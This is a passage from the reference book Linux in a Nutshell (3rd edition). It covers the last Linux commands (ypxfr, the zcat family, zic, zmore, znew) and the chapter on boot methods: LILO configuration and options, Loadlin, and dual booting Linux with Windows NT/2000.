Find master NIS server for a map. No host can be specified with -m. map may be a map name or a nickname for a map.

-t mapname

Inhibit nickname translation.

-x

Display map nickname table. Do not allow any other options.

ypxfr

ypxfr [options] mapname

NFS/NIS command. Transfer an NIS map from the server to the local host by making use of normal NIS services. ypxfr creates a temporary map in the directory /etc/yp/domain (where domain is the default domain for the local host), fills it by enumerating the map's entries, and fetches the map parameters and loads them. If run interactively, ypxfr writes its output to the terminal. However, if it is invoked without a controlling terminal, and if the log file /usr/admin/nislog exists, it appends all its output to that file.

Options

-b

Preserve the resolver flag in the map during the transfer.

-C tid prog ipadd port

This option is for use only by ypserv. When ypserv invokes ypxfr, it specifies that ypxfr should call back a yppush process at the host with IP address ipadd, registered as program number prog, listening on port port, and waiting for a response to transaction tid.

-c

Do not send a "Clear current map" request to the local ypserv process.

-d domain

Specify a domain other than the default domain.

-f

Force the transfer to occur even if the version at the master is older than the local version.

-h host

Get the map from host, regardless of what the map says the master is. If host is not specified, ypxfr asks the NIS service for the name of the master and tries to get the map from there. host may be a name or an Internet address in the form h.h.h.h.

-S

Use only NIS servers running as root and using a reserved port.

-s domain

Specify a source domain from which to transfer a map that should be the same across domains (such as the services.byname map).

zcat

zcat [options] [files]

Read one or more files that have been compressed with gzip or compress and write them to standard output. Read standard input if no files are specified or if - is specified as one of the files; end input with EOF. zcat is identical to gunzip -c and takes the options -fhLV described for gzip/gunzip.

zcmp

zcmp [options] files

Read compressed files and pass them, uncompressed, to the cmp command, along with any command-line options. If a second file is not specified for comparison, look for a file called file.gz.

zdiff

zdiff [options] files

Read compressed files and pass them, uncompressed, to the diff command, along with any command-line options. If a second file is not specified for comparison, look for a file called file.gz.

zdump

zdump [options] [zones]

System administration command. Dump a list of all known time zones or, if an argument is provided, a specific zone or list of zones. Include each zone's current time with its name.

Options

-c year

Specify a cutoff year to limit verbose output. Meaningful only with -v.

-v

Verbose mode. Include additional information about each zone.

zforce

zforce [names]

Rename all gzipped files to filename.gz, unless file already has a .gz extension.

zgrep

zgrep [options] [files]

Uncompress files and pass to grep, along with any command-line arguments. If no files are provided, read from (and attempt to uncompress) standard input. May be invoked as zegrep or zfgrep and will in those cases invoke egrep or fgrep.

zic

zic [options] [files]

System administration command. Create time conversion information files from the file or files specified. If the specified file is -, read information from standard input.

Options

-d directory

Place the newly created files in directory. Default is /usr/local/etc/zoneinfo.

-l timezone

Specify a timezone to use for local time. zic links the zone information for timezone with the zone localtime.

-p timezone

Set the default rules for handling POSIX-format environment variables to the zone name specified by timezone.

-s

Store time values only if they are the same when signed as when unsigned.

-v

Verbose mode. Include extra error checking and warnings.

-y command

Check year types with command. Default is yearistype.

-L file

Consult file for information about leap seconds.

The source file(s) for zic should be formatted as a sequence of rule lines, zone lines, and link lines. An optional file containing leap second rules can be specified on the command line. Rule lines describe how time should be calculated. They describe changes in time, daylight savings time, war time, and any other changes that might affect a particular time zone. Zone lines specify which rules apply to a given zone. Link lines link similar zones together. Leap lines describe the exact time when leap seconds should be added or subtracted. Each of these lines is made up of fields. Fields are separated from one another by any number of whitespace characters. Comment lines are preceded by a #. The fields used in each line are listed next.

Rule line fields

The format of a rule line is:

Rule NAME FROM TO TYPE IN ON AT SAVE LETTERS
NAME

Name this set of rules.

FROM

Specify the first year to which this rule applies. Gregorian calendar dates are assumed. Instead of specifying an actual year, you may specify minimum or maximum for the minimum or maximum year representable as an integer.

TO

Specify the last year to which this rule applies. Syntax is the same as for the FROM field.

TYPE

Specify the type of year to which this rule should be applied. The wildcard - instructs that all years be included. Any given year's type will be checked with the command given with the -y option or the default yearistype year type. An exit status of 0 is taken to mean the year is of the given type; an exit status of 1 means that it is not of the given type (see -y option).

IN

Specify month in which this rule should be applied.

ON

Specify day in which this rule should be applied. Whitespace is not allowed. For example:

1

The 1st

firstSun

The first Sunday

Sun>=3

The first Sunday to occur before or on the 3rd

AT

Specify the time after which the rule is in effect. For example, you may use 13, 13:00, or 13:00:00 for 1:00 p.m.. You may include one of several suffixes (without whitespace between):

s

Local standard time.

u, g, z

Universal time.

w

Wall clock time (default).

SAVE

Add this amount of time to the local standard time. Formatted like AT, without suffixes.

LETTERS

Specify letter or letters to be used in time zone abbreviations (for example, S for EST). For no abbreviation, enter -.

Zone line fields

The format of a zone line is:

Zone NAME GMTOFF RULES/SAVE FORMAT [UNTIL]
NAME

Time zone name.

GMTOFF

The amount of hours by which this time zone differs from GMT. Formatted like AT. Negative times are subtracted from GMT; by default, times are added to it.

RULES/SAVE

Either the name of the rule to apply to this zone or the amount of time to add to local standard time. To make the zone the same as local standard time, specify -.

FORMAT

How to format time zone abbreviations. Specify the variable part with %s.

UNTIL

Change the rule for the zone at this date. The next line must specify the new zone information and therefore must omit the string "Zone" and the NAME field.

Link line fields

The format of a link line is:

Link LINK-FROM LINK-TO
LINK-FROM

The name of the zone that is being linked.

LINK-TO

An alternate name for the zone that was specified as LINK-FROM.

Leap line fields

The format of a leap line is:

Leap YEAR MONTH DAY HH:MM:SS CORR R/S
YEAR MONTH DAY HH:MM:SS

Specify when the leap second happened.

CORR

Uses a + or a - to show whether the second was added or skipped.

R/S

An abbreviation of Rolling or Stationary to describe whether the leap second should be applied to local wall clock time or to GMT.

zmore

zmore [files]

Similar to more. Uncompress files and print them, one screenful at a time. Works on files compressed with compress, gzip, or pack and with uncompressed files.

Commands

space

Print next screenful.

i[number]

Print next screenful, or number lines. Set i to number lines.

d, ^D

Print next i, or 11, lines.

i z

Print next i lines or a screenful.

i s

Skip i lines. Print next screenful.

i f

Skip i screens. Print next screenful.

q, Q, :q, :Q

Go to next file, or, if current file is the last, exit zmore.

e, q

Exit zmore when the prompt "--More--(Next file: file)" is displayed.

s

Skip next file and continue.

=

Print line number.

i/expr

Search forward for ith occurrence (in all files) of expr, which should be a regular expression. Display occurrence, including the two previous lines of context.

i n

Search forward for the ith occurrence of the last regular expression searched for.

!command

Execute command in shell. If command is not specified, execute last shell command. To invoke a shell without passing it a command, enter \!.

.

Repeat the previous command.

znew

znew [options] [files]

Uncompress .Z files and recompress them in .gz format.

Options

-9

Optimal (and slowest) compression method.

-f

Recompress even if filename.gz already exists.

-t

Test new .gz files before removing .Z files.

-v

Verbose mode.

-K

If the original .Z file is smaller than the .gz file, keep it.

-P

Pipe data to conversion program. This saves disk space.

Previous | Home | Next
2.8. RPC and XDR | Book Index | 4. Boot Methods
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Boot Methods (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Chapter 4. Boot Methods

Contents:

The Boot Process
LILO: The Linux Loader
Loadlin: Booting from MS-DOS
Dual Booting Linux and Windows NT/2000
Boot-time Kernel Options
initrd: Using a RAM Disk

This chapter describes some techniques for booting your Linux system. Depending on your hardware and whether you want to run any other operating systems, you can configure the system to boot Linux automatically or to provide a choice between several operating systems. Choosing between operating systems is generally referred to as dual booting, but you can boot more than two (e.g., Linux and Windows 95/98/NT/2000). This chapter covers the following topics:

  • The boot process

  • LILO: the Linux loader

  • Loadlin: booting from MS-DOS

  • Dual booting Linux and Windows NT/2000

  • Boot-time kernel options

  • initrd: using a RAM disk

4.1. The Boot Process

Once your Linux system is up and running, booting the system generally is pretty straightforward. But with the wide variety of hardware and software in use, there are many possibilities for configuring your boot process. The three most common choices are:

  • Boot Linux from a floppy, leaving any other operating system to boot from the hard drive.

  • Use the Linux Loader, LILO.[2] This is probably the most common method of booting and lets you boot both Linux and other operating systems.

    [2]LILO is the standard boot program for i386-architecture machines. On the Alpha, the equivalent boot program is called MILO (Mini Loader), and on the SPARC, it is SILO.

  • Run Loadlin, which is an MS-DOS program that boots Linux from within DOS.

Other boot managers that can load Linux are available, but we don't discuss them in this chapter. We also won't talk further about booting from a floppy except to say that whatever method you choose for booting, you should be sure to have a working boot floppy available for emergency use. In particular, don't experiment with the files and options in this chapter unless you have a boot floppy, because any error could leave you unable to boot from the hard disk.

On an Intel-based PC, the first sector of every hard disk is known as the boot sector and contains the partition table for that disk and possibly also code for booting an operating system. The boot sector of the first hard disk is known as the master boot record (MBR), because when you boot the system, the BIOS transfers control to a program that lives on that sector along with the partition table. That code is the boot loader, the code that initiates an operating system. When you add Linux to the system, you need to modify the boot loader, replace it, or boot from a floppy disk to start Linux.

In Linux, each disk and each partition on the disk is treated as a device. So, for example, the entire first hard disk is known as /dev/hda and the entire second hard disk, if there is one, is /dev/hdb. The first partition of the first hard drive is /dev/hda1, and the second partition is /dev/hda2; the first partition of the second hard drive is /dev/hdb1; and so on. If your drives are SCSI instead of IDE, the naming works the same way except that the devices are /dev/sda, /dev/sda1, and so on. Thus, if you want to specify that the Linux partition is the second partition of the first hard drive (as in the examples in this chapter), you refer to it as /dev/hda2.

The rest of the chapter describes the various techniques for booting Linux and the options that you can specify to configure both the boot loader that you use and the Linux kernel. Both LILO and Loadlin let you pass options to the loader and they also let you specify options for the kernel.

Previous | Home | Next
3. Linux Commands | Book Index | 4.2. LILO: The Linux Loader
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


LILO: The Linux Loader (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

4.2. LILO: The Linux Loader

Once you've made the decision to install LILO, you still need to decide how it should be configured. If you want your system to dual boot Linux and Windows 95/98, you can install LILO on the master boot record (MBR) and set it up to let you select the system to boot. Dual booting Linux and Windows NT is not quite as straightforward, because Windows NT has its own loader on the MBR, and it expects to be the one in charge. Therefore, you need to make Linux an option in the NT loader and install LILO in the Linux partition as a secondary boot loader. The result is that the Windows NT loader transfers control to LILO, which then boots Linux. The same applies to Windows 2000, which uses the NT loader. See Section 4.4, "Dual Booting Linux and Windows NT/2000" later in this chapter for more information.

In addition to booting Linux, LILO can boot other operating systems, such as MS-DOS, Windows 95/98, or OS/2. During installation, the major Linux distributions provide the opportunity to install LILO; it can also be installed later if necessary. LILO can be installed on the master boot record (MBR) of your hard drive or as a secondary boot loader on the Linux partition. LILO consists of several pieces, including the boot loader itself, a configuration file (/etc/lilo.conf), a map file (/boot/map) containing the location of the kernel, and the lilo command (/sbin/lilo), which reads the configuration file and uses the information to create or update the map file and to install the files LILO needs.

If LILO is installed on the MBR, it replaces the MS-DOS boot loader. If you have problems with your installation or you simply want to uninstall LILO and restore the original boot loader, you can do one of the following:

  • Boot Linux from a floppy disk and restore the backed-up boot sector:

    % /sbin/lilo -u

  • Boot to DOS and run a special version of the fdisk command that rebuilds the MBR:

    C:> fdisk /mbr

One thing to remember about LILO is that it has two aspects: the boot loader and the lilo command. The lilo command configures and installs the boot loader and updates it as necessary. The boot loader is the code that executes at system boot time and boots Linux or another operating system.

4.2.1. The LILO Configuration File

The lilo command reads the LILO configuration file, /etc/lilo.conf, to get the information it needs to install LILO. Among other things, it builds a map file containing the locations of all disk sectors needed for booting.

Note that any time you change /etc/lilo.conf or rebuild or move a kernel image, you need to rerun lilo to rebuild the map file and update LILO.

The configuration file starts with a section of global options, described in the next section. Global options are those that apply to every system boot, regardless of what operating system you are booting. Here is an example of a global section (a hash sign, #, begins a comment):

boot = /dev/hda           # The boot device is /dev/hda
map = /boot/map           # Save the map file as /boot/map
install = /boot/boot.b    # The file to install as the new boot sector
prompt                    # Always display the boot prompt
timeout = 30              # Set a 3-second (30 tenths of a second) timeout

Following the global section, there is one section of options for each Linux kernel and for each non-Linux operating system that you want LILO to be able to boot. Each of those sections is referred to as an image section, because each boots a different kernel image (shorthand for a binary file containing a kernel) or another operating system. Each Linux image section begins with an image= line.

image = /boot/vmlinuz     # Linux image file
   label = linux          # Label that appears at the boot prompt
   root = /dev/hda2       # Location of the root filesystem
   vga = ask              # Always prompt the user for VGA mode
   read-only              # Mount read-only to run fsck for a filesystem check

The equivalent section for a non-Linux operating system begins with other= instead of image=. For example:

other = /dev/hda1         # Location of the partition
   label = dos
   table = /dev/hda       # Location of the partition table

Put LILO configuration options that apply to all images into the global section of /etc/lilo.conf and options that apply to a particular image into the section for that image. If an option is specified in both the global section and an image section, the setting in the image section overrides the global setting for that image.

Here is an example of a complete /etc/lilo.conf file for a system that has the Linux partition on /dev/hda2:

## Global section
boot=/dev/hda2
map=/boot/map
delay=30
timeout=50
prompt
vga=ask

## Image section: For regular Linux
image=/boot/vmlinuz
  label=linux
  root=/dev/hda2
  install=/boot/boot.b
  map=/boot/map
  read-only

## Image section: For testing a new Linux kernel
image=/testvmlinuz
  label=testlinux
  root=/dev/hda2
  install=/boot/boot.b
  map=/boot/map
  read-only
  optional               # Omit image if not available when map is built

## Image section: For booting DOS
other=/dev/hda1
  label=dos
  loader=/boot/chain.b
  table=/dev/hda         # The current partition table

## Image section: For booting Windows 95
other=/dev/hda1
  label=win95
  loader=/boot/chain.b
  table=/dev/hda

4.2.1.1. Global options

In addition to the options listed here, the kernel options append, read-only, read-write, root, and vga (described in Section 4.2.1.3, "Kernel options" later) also can be set as global options.

backup=backup-file

Copies the original boot sector to backup-file instead of to the file /boot/boot.nnnn, where nnnn is a number that depends on the disk device type.

boot=boot-device

Sets the name of the device that contains the boot sector. boot defaults to the device currently mounted as root, such as /dev/hda2. Specifying a device such as /dev/hda (without a number) indicates that LILO should be installed in the master boot record; the alternative is to set it up on a particular partition such as /dev/hda2.

compact

Merges read requests for adjacent disk sectors to speed up booting. Use of compact is particularly recommended when booting from a floppy disk. Use of compact may conflict with linear.

default=name

Uses the image name as the default boot image. If default is omitted, the first image specified in the configuration file is used.

delay=tsecs

Specifies, in tenths of a second, how long the boot loader should wait before booting the default image. If serial is set, delay is set to 20 at a minimum. The default is to not wait.

disk=device-name

Defines parameters for the disk specified by device-name if LILO can't figure them out. Normally, LILO can determine the disk parameters itself and this option isn't needed. When disk is specified, it is followed by one or more parameter lines, such as:

disk=/dev/sda
  bios= 0x80      # First disk is usually 0x80, second is usually 0x81
  sectors= ...
  heads= ...

Note that this option is not the same as the disk geometry parameters you can specify with the hd boot command-line option. With disk, the information is given to LILO; with hd, it is passed to the kernel. The parameters that can be specified with disk are listed briefly here. They are described in detail in the LILO User's Guide, which comes with the LILO distribution.

bios=bios-device-code

The number the BIOS uses to refer to the device. See the previous example.

cylinders=cylinders

The number of cylinders on the disk.

heads=heads

The number of heads on the disk.

inaccessible

Tells LILO that the BIOS can't read the disk; used to prevent the system from becoming unbootable if LILO thinks the BIOS can read it.

partition=partition-device

Starts a new section for a partition. The section contains one variable, start=partition-offset, which specifies the zero-based number of the first sector of the partition:

partition=/dev/sda1
  start=2048
sectors=sectors

The number of sectors per track.

disktab=disktab-file

This option has been superseded by the disk= option.

fix-table

If set, allows lilo to adjust 3D addresses (addresses specified as sector/head/cylinder) in partition tables. This is sometimes necessary if a partition isn't track-aligned and another operating system such as MS-DOS is on the same disk. See the lilo.conf manpage for details.

force-backup=backup-file

Like backup but overwrites an old backup copy if one exists.

ignore-table

Tells lilo to ignore corrupt partition tables.

install=boot-sector

Installs the specified file as the new boot sector. If install is omitted, the boot sector defaults to /boot/boot.b.

lba32

Generates 32-bit Logical Block Addresses instead of sector/head/cylinder addresses, allowing booting from any partition on hard disks greater than 8.4GB (i.e., it removes the 1024-cylinder limit). Requires BIOS support for the EDD packet call interface[3] and at least LILO Version 21-4.

[3]If your BIOS is dated after 1998, it should include EDD packet call interface support.

linear

Generates linear sector addresses, which do not depend on disk geometry, instead of 3D (sector/head/cylinder) addresses. If LILO can't determine your disk's geometry itself, you can try using linear; if that doesn't work, then you need to specify the geometry with disk=. Note, however, that linear sometimes doesn't work with floppy disks, and it may conflict with compact.

lock

Tells LILO to record the boot command line and use it as the default for future boots until it is overridden by a new boot command line. lock is useful if there is a set of options that you need to enter on the boot command line every time you boot the system.

map=map-file

Specifies the location of the map file. Defaults to /boot/map.

message=message-file

Specifies a file containing a message to be displayed before the boot prompt. The message can include a formfeed character (Ctrl-L) to clear the screen. The map file must be rebuilt by rerunning the lilo command if the message file is changed or moved. The maximum length of the file is 65,535 bytes.

nowarn

Disables warning messages.

optional

Specifies that any image that is not available when the map is created should be omitted and not offered as an option at the boot prompt. Like the per-image option optional but applies to all images.

password=password

Specifies a password that the user is prompted to enter when trying to load an image. The password is not encrypted in the configuration file, so if passwords are used, permissions should be set so that only the superuser is able to read the file. This option is like the per-image version, except that all images are password-protected and they all have the same password.

prompt

Automatically displays the boot prompt without waiting for the user to press the Shift, Alt, or Scroll Lock key. Note that setting prompt without also setting timeout prevents unattended reboots.

restricted

Can be used with password to indicate that a password needs to be entered only if the user specifies parameters on the command line. Like the per-image restricted option but applies to all images.

serial=parameters

Allows the boot loader to accept input from a serial line as well as from the keyboard. Sending a break on the serial line corresponds to pressing a Shift key on the console to get the boot loader's attention. All boot images should be password-protected if serial access is insecure (e.g., if the line is connected to a modem). Setting serial automatically raises the value of delay to 20 (i.e., 2 seconds) if it is less than that. The parameter string parameters has the following syntax:

port[,bps[parity[bits]]]

For example, to initialize COM1 with the default parameters:

serial=0,2400n8

The parameters are:

port

The port number of the serial port. The default is 0, which corresponds to COM1 (/dev/ttys0). The value can be one of 0 through 3, for the four possible COM ports.

bps

The baud rate of the serial port. Possible values of bps are 110, 300, 1200, 2400, 4800, 9600, 19200, and 38400. The default is 2400 bps.

parity

The parity used on the serial line. Parity is specified as: n or N for no parity, e or E for even parity, and o or O for odd parity. However, the boot loader ignores input parity and strips the 8th bit.

bits

Specifies whether a character contains 7 or 8 bits. Default is 8 with no parity and 7 otherwise.

timeout=tsecs

Sets a timeout (specified in tenths of a second) for keyboard input. If no key has been pressed after the specified time, the default image is booted automatically. timeout is also used to determine when to stop waiting for password input. The default timeout is infinite.

verbose=level

Turns on verbose output, where higher values of level produce more output. If -v is also specified on the lilo command line, the level is incremented by 1 for each occurrence of -v. The maximum verbosity level is 5.

4.2.1.2. Image options

The following options are specified for a particular image.

alias=name

Provides an alternate name for the image that can be used instead of the name specified with the label option.

image=pathname

Specifies the file or device containing the boot image of a bootable Linux kernel. Each per-image section that specifies a bootable Linux kernel starts with an image option. See also the range option.

label=name

Specifies the name that is used for the image at the boot prompt. Defaults to the filename of the image file (without the path).

loader=chain-loader

For a non-Linux operating system, specifies the chain loader to which LILO should pass control for booting that operating system. The default is /boot/chain.b. If the system will be booted from a drive that is neither the first hard disk or a floppy, the chain loader must be specified.

lock

Like lock as described in the global options section; it can also be specified in an image section.

optional

Specifies that the image should be omitted if it is not available when the map is created by the lilo command. Useful for specifying test kernels that are not always present.

password=password

Specifies that the image is password-protected and provides the password that the user is prompted for when booting. The password is not encrypted in the configuration file, so if passwords are used, only the superuser should be able to read the file.

range=sectors

Used with the image option, when the image is specified as a device (e.g., image=/dev/fd0), to indicate the range of sectors to be mapped into the map file. sectors can be given as the range start-end or as start+number, where start and end are zero-based sector numbers and number is the increment beyond start to include. If only start is specified, only that one sector is mapped. For example:

     image = /dev/fd0
     range = 1+512   # take 512 sectors, starting with sector 1
restricted

Specifies that a password is required for booting the image only if boot parameters are specified on the command line.

table=device

Specifies, for a non-Linux operating system, the device that contains the partition table. If table is omitted, the boot loader does not pass partition information to the operating system being booted. Note that /sbin/lilo must be rerun if the partition table is modified. This option cannot be used with unsafe.

unsafe

Can be used in the per-image section for a non-Linux operating system to indicate that the boot sector should not be accessed when the map is created. If unsafe is specified, then some checking isn't done, but the option can be useful for running the lilo command without having to insert a floppy disk when the boot sector is on a fixed-format floppy disk device. This option cannot be used with table.

4.2.1.3. Kernel options

The following kernel options can be specified in /etc/lilo.conf as well as on the boot command line:

append=string

Appends the options specified in string to the parameter line passed to the kernel. This typically is used to specify certain hardware parameters. For example, if your system has more than 64 MB of memory (i.e., more than your BIOS can recognize), you can use append:

     append = "mem=128M"
initrd=filename

Specifies the file to load into /dev/initrd when booting with a RAM disk. See also the options load_ramdisk (in Section 4.5, "Boot-time Kernel Options"), prompt_ramdisk, ramdisk_size, and ramdisk_start (in Section 4.6, "initrd: Using a RAM Disk").

literal=string

Like append but replaces all other kernel boot options.

noinitrd

Preserves the contents of /dev/initrd so they can be read once after the kernel is booted.

prompt_ramdisk=n

Specifies whether the kernel should prompt you to insert the floppy disk that contains the RAM disk image, for use during Linux installation. Values of n are:

0

Don't prompt. Usually used for an installation in which the kernel and the RAM disk image both fit on one floppy.

1

Prompt. This is the default.

ramdisk=size

Obsolete; use only with kernels older than Version 1.3.48. For newer kernels, see the option load_ramdisk in Section 4.5, "Boot-time Kernel Options" as well as prompt_ramdisk, ramdisk_size, and ramdisk_start, elsewhere in this section.

ramdisk_size=n

Specifies the amount of memory, in kilobytes, to be allocated for the RAM disk. The default is 4096, which allocates 4 megabytes.

ramdisk_start=offset

Used for a Linux installation in which both the kernel and the RAM disk image are on the same floppy. offset indicates the offset on the floppy where the RAM disk image begins; it is specified in kilobytes.

root=root-device

Specifies the device that should be mounted as root. If the special name current is used as the value, the root device is set to the device on which the root filesystem currently is mounted. Defaults to the root-device setting contained in the kernel image.

vga=mode

Specifies the VGA text mode that should be selected when booting. mode defaults to the VGA mode setting in the kernel image. The values are case-insensitive. They are:

ask

Prompts the user for the text mode. Pressing Enter in response to the prompt displays a list of the available modes.

extended (or ext)

Selects 80x50 text mode.

normal

Selects normal 80x25 text mode.

number

Use the text mode that corresponds to number. A list of available modes for your video card can be obtained by booting with vga=ask and pressing Enter.

4.2.2. The lilo Command

You need to run the lilo command to install the LILO boot loader and to update it whenever the kernel changes or to reflect changes to /etc/lilo.conf.

The path to the lilo command is usually /sbin/lilo. The syntax of the command is:

lilo [options]

Some of the options correspond to /etc/lilo.conf keywords:

Configuration Keyword | Command Option
boot=bootdev | -b bootdev
compact | -c
delay=tsecs | -d tsecs
default=label | -D label
disktab=file | -f file
install=bootsector | -i bootsector
lba32 | -L
linear | -l
map=mapfile | -m mapfile
fix-table | -P fix
ignore-table | -P ignore
backup=file | -s file
force-backup=file | -S file
verbose=level | -v

These options should be put in the configuration file whenever possible; putting them on the lilo command line instead of in /etc/lilo.conf is now deprecated. The next section describes those options that can be given only on the lilo command line; the others are described earlier in this section.

4.2.3. lilo Command Options

The following list describes those lilo command options that are available only on the command line. Multiple options are given separately:

% lilo -q -v
-C config-file

Specifies an alternative to the default configuration file (/etc/lilo.conf). lilo uses the configuration file to determine what files to map when it installs LILO.

-I label

Prints the path to the kernel specified by label to standard output or an error message if no matching label is found. For example:

% lilo -I linux
/boot/vmlinuz-2.0.34-0.6
-q

Lists the currently mapped files. lilo maintains a file (by default /boot/map), containing the name and location of the kernel(s) to boot. Running lilo with this option prints the names of the files in the map file to standard output, as in this example (in which the asterisk indicates that linux is the default):

% lilo -q
linux     *
test

-r root-directory

Specifies that before doing anything else, lilo should chroot to the indicated directory. Used for repairing a setup from a boot floppy -- you can boot from a floppy but have lilo use the boot files from the hard drive. For example, if you issue the following commands, lilo will get the files it needs from the hard drive:

% mount /dev/hda2 /mnt
% lilo -r /mnt

-R command-line

Sets the default command for the boot loader the next time it executes. The command executes once and then is removed by the boot loader. This option typically is used in reboot scripts, just before calling shutdown -r.

-t

Indicates that this is a test. Does not really write a new boot sector or map file. Can be used with -v to find out what lilo would do during a normal run.

-u device-name

Uninstalls lilo by restoring the saved boot sector from /boot/boot.nnnn, after validating it against a timestamp. device-name is the name of the device on which LILO is installed, such as /dev/hda2.

-U device-name

Like -u but does not check the timestamp.

-V

Prints the lilo version number.

Previous | Home | Next
4. Boot Methods | Book Index | 4.3. Loadlin: Booting from MS-DOS
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Loadlin: Booting from MS-DOS (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

4.3. Loadlin: Booting from MS-DOS

Loadlin is a Linux boot loader that you run from within a bootable MS-DOS partition; the system must be in real DOS mode, not in an MS-DOS window running under Windows. No installation is required; you just need to copy the executable file loadlin.exe from the Loadlin distribution to your MS-DOS partition.[4] You also need a compressed Linux kernel (e.g., vmlinuz), which you can load from a floppy, from the DOS partition, or from a RAM disk. For example:

[4]If Loadlin didn't come with your Linux distribution, you can download it from any of the major Linux sites, such as the Metalab site at http://metalab.unc.edu/pub/Linux.

C:> loadlin c:\vmlinuz root=/dev/hda2

This example loads the Linux kernel image vmlinuz, passing it the boot parameter root=/dev/hda2, telling the kernel that the Linux root partition is /dev/hda2. (If you are using a RAM disk, see Section 4.6, "initrd: Using a RAM Disk" later in this chapter.)

If you want to use Loadlin with Windows 95/98, see the Loadlin User Guide and the Loadlin+Win95 mini-HOWTO for how to do that. Note that if your disk uses the FAT32 filesystem, the standard techniques for using Loadlin and Windows 95 won't work; if this is the case or if you aren't sure whether you have FAT16 or FAT32, it's important to read the mini-HOWTO before you proceed.

Loadlin can be run directly from the DOS prompt, as in the example, or it can be invoked from CONFIG.SYS or AUTOEXEC.BAT. Like LILO, Loadlin takes both options that direct its operation and options (also referred to as parameters) that it passes to the kernel.

There are two forms of the Loadlin syntax:

LOADLIN @params
LOADLIN [zimage_file] [options] [boot_params]

4.3.1. Using a Parameter File

In the first form of the preceding syntax, params is a DOS file that contains the options you want Loadlin to run with. The Loadlin distribution comes with a sample parameter file, test.par, that you can use as a basis for creating your own. Each line in a parameter file contains one parameter. If you want to specify the name of the Linux kernel to use (the image= parameter), it must be the first entry in the file. Comments start with a hash sign (#). The entries in the parameter file can be overridden or appended on the command line. For example, to override the value of vga set in the parameter file:

C:> LOADLIN @myparam vga=normal

4.3.2. Putting Parameters on the Command Line

In the second form of the preceding Loadlin syntax, zimage_file is the name of a Linux kernel to run, followed by a list of Loadlin options and/or boot options. Specifying LOADLIN with no parameters gives a help message listing the Loadlin options and some of the possible kernel boot options. The message is long enough that you probably want to pipe the output through a pager like more:

C:> LOADLIN | more

The Loadlin options are:

-clone

Bypasses certain checks -- read the LOADLIN User Guide that comes with the Loadlin distribution before using.

-d file

Debug mode. Like -t but sends output to file as well as to standard output.

-dskreset

Causes disks to be reset after loading but before booting Linux.

-noheap

For use by serious Linux hackers only; disables use of the setup heap.

-t

Test mode. Goes through the loading process but doesn't actually start Linux. Also sets -v.

-txmode

Sets the screen to text mode (80x25) on startup.

-v

Verbose. Prints parameter and configuration information to standard output.

-wait=nn

After loading, waits nn (DOS) ticks before booting Linux.

In addition to these Loadlin options, the help message prints a number of kernel boot options that you can specify. The boot options that it prints are only a few of the many available boot options. See also the BootPrompt-HOWTO for a more complete list.

Previous | Home | Next
4.2. LILO: The Linux Loader | Book Index | 4.4. Dual Booting Linux and Windows NT/2000
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Dual Booting Linux and Windows NT/2000 (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

4.4. Dual Booting Linux and Windows NT/2000

As we said earlier, when you run Windows NT, its boot loader expects to be the one in charge; therefore, the normal way to dual boot Windows NT and Linux is to add Linux as an option on the NT boot menu. The information in this section also applies to Windows 2000, which uses the NT loader.

To accomplish this, you need to provide the NT loader with a copy of the Linux boot sector. Here's how you do that on a computer running Windows NT with an NTFS filesystem (note that Windows NT should be installed on your system already). See the NT OS Loader+Linux mini-HOWTO for more information and other alternatives.

You should have a Linux boot floppy available so that, if necessary, you can boot Linux before the NT boot loader has been modified. You also should have a DOS-formatted floppy to transfer the boot sector to the Windows NT partition. If LILO is already installed, you may need to modify /etc/lilo.conf as described later. Otherwise, you'll either install LILO as part of the Linux installation, or you can install it with the QuickInst script that comes with LILO. Once LILO is installed, and you have a configuration file, you can set up the system for dual booting.

Note that the following instructions assume your Linux partition is on /dev/hda2. If Linux is on another partition, be sure to replace /dev/hda2 in the following examples with the correct partition.

  1. Specify the Linux root partition as your boot device. If you are editing /etc/lilo.conf manually, your entry will look like this:

    boot=/dev/hda2

    and will be the same as the root= entry.

  2. Run the lilo command to install LILO on the Linux root partition.

  3. At this point, if you need to reboot Linux, you'll have to use the boot floppy, because the NT loader hasn't been set up yet to boot Linux.

  4. From Linux, run the dd command to make a copy of the Linux boot sector:

    % dd if=/dev/hda2 of=/bootsect.lnx bs=512 count=1

    This command copies one block, with a blocksize of 512 bytes, from the input file /dev/hda2 to the output file /bootsect.lnx. (The output filename can be whatever makes sense to you; it doesn't have to be bootsect.lnx.)

  5. Copy bootsect.lnx to a DOS-formatted floppy disk:

    % mount -t msdos /dev/fd0 /mnt
% cp /bootsect.lnx /mnt
% umount /mnt

  6. Reboot the system to Windows NT and copy the boot sector from the floppy disk to the hard disk. For example, using the command line to copy the file:

    C:> copy a:\bootsect.lnx c:\bootsect.lnx

    It doesn't matter where on the hard drive you put the file because you'll tell the NT loader where to find it in step 8.

  7. Modify the attributes of the file boot.ini [5] to remove the system and read-only attributes so you can edit it:

    [5]boot.ini is the Windows NT counterpart to /etc/lilo.conf. It defines what operating systems the NT loader can boot.

    C:> attrib -s -r c:\boot.ini

  8. Edit boot.ini with a text editor to add the line:

    C:\bootsect.lnx="Linux"

    This line adds Linux to the boot menu and tells the Windows NT boot loader where to find the Linux boot sector. You can insert the line anywhere in the [operating systems] section of the file. Its position in the file determines where it will show up on the boot menu when you reboot your computer. Adding it at the end, for example, results in a boot.ini file that looks something like this (the second multi(0) entry is wrapped to fit in the margins of this page):

    [boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Server Version 4.00"
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Server Version 4.00
 [VGA mode]" /basevideo /sos
C:\bootsect.lnx="Linux"

    If you want Linux to be the default operating system, modify the default= line to say:

    default=C:\bootsect.lnx

  9. Rerun attrib to restore the system and read-only attributes:

    C:> attrib +s +r c:\boot.ini

Now you can shut down Windows NT and reboot; NT will prompt you with a menu that looks something like this:

OS Loader V4.00

Please select the operating system to start:

Windows NT Workstation Version 4.00
Windows NT Workstation Version 4.00 [VGA mode]
